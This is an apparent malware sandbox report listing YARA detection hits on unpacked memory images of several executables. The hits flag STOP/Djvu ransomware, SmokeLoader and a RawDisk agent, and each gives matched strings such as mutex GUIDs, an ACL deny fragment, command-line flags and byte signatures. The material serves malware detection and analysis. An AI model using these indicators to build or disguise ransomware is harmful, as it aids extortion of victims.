15.0.D7DE.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
15.0.D7DE.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.0.D7DE.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
15.0.D7DE.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.0.D7DE.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.3.361E.exe.2470000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.0.D7DE.exe.400000.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
28.3.56E6.exe.3c91306.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x39898:$s2: The Magic Word! 0x39bf8:$s3: Software\Oracle\VirtualBox 0x39887:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
28.3.56E6.exe.3c99146.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x31a58:$s2: The Magic Word! 0x31db8:$s3: Software\Oracle\VirtualBox 0x31a47:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
28.3.56E6.exe.3c96ca6.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x33ef8:$s2: The Magic Word! 0x34258:$s3: Software\Oracle\VirtualBox 0x33ee7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
15.0.D7DE.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
15.0.D7DE.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.0.D7DE.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
15.0.D7DE.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.0.D7DE.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
15.0.D7DE.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.0.D7DE.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
15.0.D7DE.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.0.D7DE.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
15.0.D7DE.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.0.D7DE.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.D7DE.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
15.2.D7DE.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.D7DE.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.D7DE.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
15.0.D7DE.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.0.D7DE.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
15.0.D7DE.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.0.D7DE.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
15.0.D7DE.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.0.D7DE.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
15.0.D7DE.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.0.D7DE.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.0.D7DE.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.D7DE.exe.26c15a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
14.2.D7DE.exe.26c15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.D7DE.exe.26c15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.D7DE.exe.26c15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.2.361E.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
23.2.361E.exe.8a0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.0.D7DE.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.D7DE.exe.26c15a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
14.2.D7DE.exe.26c15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.D7DE.exe.26c15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.D7DE.exe.26c15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
15.0.D7DE.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
